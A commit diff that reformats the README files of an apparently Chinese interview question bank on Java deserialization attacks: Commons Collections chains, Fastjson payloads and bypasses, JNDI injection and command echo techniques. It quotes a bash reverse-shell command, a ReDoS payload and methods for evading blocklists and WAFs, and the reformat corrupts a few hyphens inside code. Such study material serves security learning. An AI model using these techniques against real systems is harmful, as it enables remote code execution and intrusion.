Skip to content

Commit 346a181

Browse files
committed
format
1 parent ef86a45 commit 346a181

File tree

8 files changed

+82
-82
lines changed

8 files changed

+82
-82
lines changed

auto.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
temp_lines = temp.readlines()
1414
total = 0
1515
for q in temp_lines:
16-
if q.startswith("-"):
16+
if q.startswith("###"):
1717
total = total + 1
1818
p = line.split("-")[0]
1919
s = line.split("个]")[1]

cc/README.md

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
## CC
22

3-
- 谈下CC链中三个重要的`Transformer`(★★★)
3+
### 谈下CC链中三个重要的`Transformer`(★★★)
44

55
`ConstantTransformer`类的`transform`方法直接返回传入的类对象
66

@@ -12,15 +12,15 @@
1212

1313

1414

15-
- 谈谈CC1(★★★)
15+
### 谈谈CC1(★★★)
1616

1717
原理是`LazyMap.get`可以触发构造的`Transformer`链的`transform`方法导致`RCE`
1818

1919
基于动态代理触发的`LazyMap.get`,在`AnnotationInvocationHanlder`中的`invoke`方法中存在`Map.get`操作
2020

2121

2222

23-
- 谈谈CC2(★★★)
23+
### 谈谈CC2(★★★)
2424

2525
该链用到`TemplatesImpl`类,生成恶意的字节码实例化
2626

@@ -32,37 +32,37 @@
3232

3333

3434

35-
- 谈谈CC3(★★★)
35+
### 谈谈CC3(★★★)
3636

3737
该链用到`TemplatesImpl`类,生成恶意的字节码实例化
3838

3939
仍然是基于动态代理和`LazyMap.get`触发`InstantiateTransformer``transform`方法导致`RCE`
4040

4141

4242

43-
- 谈谈CC4(★★★)
43+
### 谈谈CC4(★★★)
4444

4545
和CC2链一致,不过触发时候不是`InvokerTransformer`而是`InstantiateTransformer`类直接实例化`TrAXFilter`子类执行`<init>/<clinit>`导致`RCE`
4646

4747

4848

49-
- 谈谈CC5(★★★)
49+
### 谈谈CC5(★★★)
5050

5151
还是基于`LazyMap.get`触发的,不过没有动态代理,是通过`BadAttributeValueExpException.readObject()`调用`TiedMapEntry.toString()`
5252

5353
`TiedMapEntry.getValue()`中存在`Map.get`导致`LazyMap.get`触发`transform`
5454

5555

5656

57-
- 谈谈CC6(★★★)
57+
### 谈谈CC6(★★★)
5858

5959
还是基于`LazyMap.get`触发的,通过`HashMap.readObject()`到达`HashMap.hash()`方法,由于key是`TiedMapEntry`所以调用`TiedMapEntry.hashCode()`
6060

6161
`hashCode`方法会调用到`TiedMapEntry.getValue()`方法,由于`Map.get`导致`LazyMap.get`触发`transform`
6262

6363

6464

65-
- 谈谈CC7(★★★)
65+
### 谈谈CC7(★★★)
6666

6767
还是基于`LazyMap.get`触发的,通过`Hashtable.readObject()`触发了key的`equals`方法,跟入`AbstractMap.equals`方法
6868

fastjson/README.md

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,30 @@
11
# Fastjson
22

3-
- 使用`JSON.parse()``JSON.parseObject()`的不同(★)
3+
### 使用`JSON.parse()``JSON.parseObject()`的不同(★)
44

55
前者会在JSON字符串中解析字符串获取`@type`指定的类,后者则会直接使用参数中的`class`,并且对应类中所有`getter``setter`都会被调用
66

77

88

9-
- 什么情况下反序列化过程会反射调用`getter`(★)
9+
### 什么情况下反序列化过程会反射调用`getter`(★)
1010

1111
符合`getter`规范的情况且不存在`setter`
1212

1313

1414

15-
- 如果不存在`setter``getter`方法可以反射设置值吗(★)
15+
### 如果不存在`setter``getter`方法可以反射设置值吗(★)
1616

1717
需要服务端开启`Feature.SupportNonPublicFiel`参数,实战无用
1818

1919

2020

21-
- Fastjson在反序列化`byte[]`类型的属性时会做什么事情(★)
21+
### Fastjson在反序列化`byte[]`类型的属性时会做什么事情(★)
2222

2323
将会在反序列化时候进行`base64`编码
2424

2525

2626

27-
- 谈谈常见的几种Payload(★★★)
27+
### 谈谈常见的几种Payload(★★★)
2828

2929
首先是最常见的`JdbcRowSetImpl`利用`JDNI`注入方式触发,需要出网
3030

@@ -36,21 +36,21 @@
3636

3737

3838

39-
- 是否存在不出网的Fastjson利用方式(★★★)
39+
### 是否存在不出网的Fastjson利用方式(★★★)
4040

4141
第一种是`TemplatesImpl`类加载字节码做到不出网利用,但需要开启特殊参数实战鸡肋
4242

43-
第二种方式是服务端存在在`tomcat-dbcp.jar`情况下,使用`BasicDataSource`配合`BCEL`可实现不出网`RCE`
43+
第二种方式是服务端存在在`tomcat###dbcp.jar`情况下,使用`BasicDataSource`配合`BCEL`可实现不出网`RCE`
4444

4545

4646

47-
- 谈谈1.2.47版本之前各个小版本的绕过(★★★)
47+
### 谈谈1.2.47版本之前各个小版本的绕过(★★★)
4848

4949
首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过
5050

5151

5252

53-
- Fastjson应该如何探测(★★)
53+
### Fastjson应该如何探测(★★)
5454

5555
使用`dnslog`做检测是最常见的方式,利用`java.net.Inet[4][6]Address``java.net.InetSocketAddress``java.net.URL`类,之所以使用这三个因为不在黑名单中,可以直接检测
5656

@@ -60,7 +60,7 @@
6060

6161

6262

63-
- 谈谈1.2.68版本的绕过(★★)
63+
### 谈谈1.2.68版本的绕过(★★)
6464

6565
1.2.68之前的66和67可以利用`JNDI`相关类,比如`Shiro``JndiObjectFactory``ignite`项目的类
6666

@@ -72,7 +72,7 @@
7272

7373

7474

75-
- 谈谈Fastjson的WAF Bypass手段(★★★)
75+
### 谈谈Fastjson的WAF Bypass手段(★★★)
7676

7777
Fastjson默认会去除键值外的空格、\b、\n、\r、\f等字符,同时还会自动将键值进行`unicode`与十六进制解码
7878

@@ -82,14 +82,14 @@ Fastjson默认会去除键值外的空格、\b、\n、\r、\f等字符,同时
8282

8383

8484

85-
- 除了RCE还能有什么利用(★★★)
85+
### 除了RCE还能有什么利用(★★★)
8686

8787
信息泄露或者ReDoS,参考下方Payload
8888

8989
```json
9090
{
9191
"regex":{
92-
"$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"
92+
"$ref":"$[\blue = /\^[a###zA###Z]+(([a###zA###Z ])?[a###zA###Z]*)*$/]"
9393
},
9494
"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
9595
}
@@ -108,12 +108,12 @@ Fastjson默认会去除键值外的空格、\b、\n、\r、\f等字符,同时
108108

109109

110110

111-
- 是否了解自动挖掘Fastjson利用链的方式(★★★★)
111+
### 是否了解自动挖掘Fastjson利用链的方式(★★★★)
112112

113113
利用链主要集中在`getter``setter`方法中,如果`getter`或者`setter`的方法中存在一些危险操作比如`JNDI`查询,如果参数可控就可以导致`JNDI`注入
114114

115115
简单来说,直接搜对应项目中`JNDI``lookup`方法,可以基于`ASM`解压分析`Jar`包,这种半自动结合人工审核的方式其实很好用(之前挖到过几个)
116116

117-
进一步来说,全自动的方式可以使用`codeql``gadget-inspector`工具来做,主要是加入了污点传递,分析`getter/setter`参数如何传递到`lookup`
117+
进一步来说,全自动的方式可以使用`codeql``gadget###inspector`工具来做,主要是加入了污点传递,分析`getter/setter`参数如何传递到`lookup`
118118

119119
关闭全自动分析原理,一般面试官不会问太深入,因为可能涉及到静态分析相关的技术,普通安服崽的面试不会太过深入,如果是实验室可能需要再学习一下

java/README.md

Lines changed: 16 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
11
## JDK
22

3-
- Java反射做了什么事情(★)
3+
### Java反射做了什么事情(★)
44

55
反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果
66

77

88

9-
- Java反射可以修改Final字段嘛(★★)
9+
### Java反射可以修改Final字段嘛(★★)
1010

1111
可以做到,参考以下代码
1212

@@ -20,7 +20,7 @@ field.set(null, newValue);
2020

2121

2222

23-
- 传统的反射方法加入黑名单怎么绕(★★★)
23+
### 传统的反射方法加入黑名单怎么绕(★★★)
2424

2525
可以使用的类和方法如下(参考三梦师傅)
2626

@@ -38,7 +38,7 @@ JSClassLoader.newInstance
3838

3939

4040

41-
- Java中可以执行反弹shell的命令吗(★★)
41+
### Java中可以执行反弹shell的命令吗(★★)
4242

4343
可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:`bash -i >& /dev/tcp/ip/port 0>&1`会失败,简单来说因为`>`符号是重定向,如果命令中包含输入输出重定向和管道符,只有在`bash`下才可以,使用Java执行这样的命令会失败,所以需要加入`Base64`
4444

@@ -77,23 +77,23 @@ public static String getPowershellCommand(String cmd) {
7777

7878

7979

80-
- 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★)
80+
### 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★)
8181

8282
其实这个问题有点类似`JSP Webshell`免杀
8383

8484
大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等)
8585

8686

8787

88-
- RMI和LDAP类型的JNDI注入分别在哪个版本限制(★)
88+
### RMI和LDAP类型的JNDI注入分别在哪个版本限制(★)
8989

9090
RMI的JNDI注入在8u121后限制,需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性
9191

9292
LDAP的JNDI注入在8u191后限制,需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性
9393

9494

9595

96-
- RMI和LDAP的限制版本分别可以怎样绕过(★★)
96+
### RMI和LDAP的限制版本分别可以怎样绕过(★★)
9797

9898
RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发
9999

@@ -103,7 +103,7 @@ LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget`
103103

104104

105105

106-
- 谈谈TemplatesImpl这个类(★★)
106+
### 谈谈TemplatesImpl这个类(★★)
107107

108108
这个类本身是JDK中XML相关的类,但被很多`Gadget`拿来用
109109

@@ -122,7 +122,7 @@ TemplatesImpl.getOutputProperties()
122122

123123

124124

125-
- 了解BCEL ClassLoader吗(★)
125+
### 了解BCEL ClassLoader吗(★)
126126

127127
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目
128128

@@ -132,7 +132,7 @@ BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一
132132

133133

134134

135-
- 谈谈7U21反序列化(★★★★★)
135+
### 谈谈7U21反序列化(★★★★★)
136136

137137
`LinkedHashSet.readObject`开始,找到父类`HashSet.readObject`方法,其中包含`HashMap`的类型转换以及`HashMap.put`方法,跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断,这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足
138138

@@ -180,7 +180,7 @@ LinkedHashSet.readObject()
180180

181181

182182

183-
- 谈谈8U20反序列化(★★★★★)
183+
### 谈谈8U20反序列化(★★★★★)
184184

185185
这是7U21修复的绕过
186186

@@ -190,13 +190,13 @@ LinkedHashSet.readObject()
190190

191191

192192

193-
- 了解缩小反序列化Payload的手段吗(★★★)
193+
### 了解缩小反序列化Payload的手段吗(★★★)
194194

195195
首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载
196196

197197

198198

199-
- 谈谈实战中命令执行有哪些回显的办法(★★★★)
199+
### 谈谈实战中命令执行有哪些回显的办法(★★★★)
200200

201201
首先想到的办法是`dnslog`等技术进行外带,但必须出网,有限制
202202

@@ -210,23 +210,23 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式
210210

211211

212212

213-
- 有没有了解过针对`linux`的通杀的回显方式(★★★★)
213+
### 有没有了解过针对`linux`的通杀的回显方式(★★★★)
214214

215215
获取本次`http`请求用到`socket`的文件描述符,然后往文件描述符里写命令执行的结果
216216

217217
但鸡肋的地方在于需要确定源端口,才可以使用命令查到对应的文件描述符,存在反代可能有问题
218218

219219

220220

221-
- 是否存在针对`windows`的通杀的回显方式(★★★★)
221+
### 是否存在针对`windows`的通杀的回显方式(★★★★)
222222

223223
原理类似`linux`的通杀回显,在`windows``nio/bio`中有类似于`linux`文件描述符这样的句柄文件
224224

225225
遍历`fd`反射创建对应的文件描述符,利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性,然后往里面写数据实现回显
226226

227227

228228

229-
- 是否了解JDBC Connection URL攻击(★★★)
229+
### 是否了解JDBC Connection URL攻击(★★★)
230230

231231
果我们可以控制`JDBC URI`就可将`JDBC`连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据
232232

0 commit comments

Comments
 (0)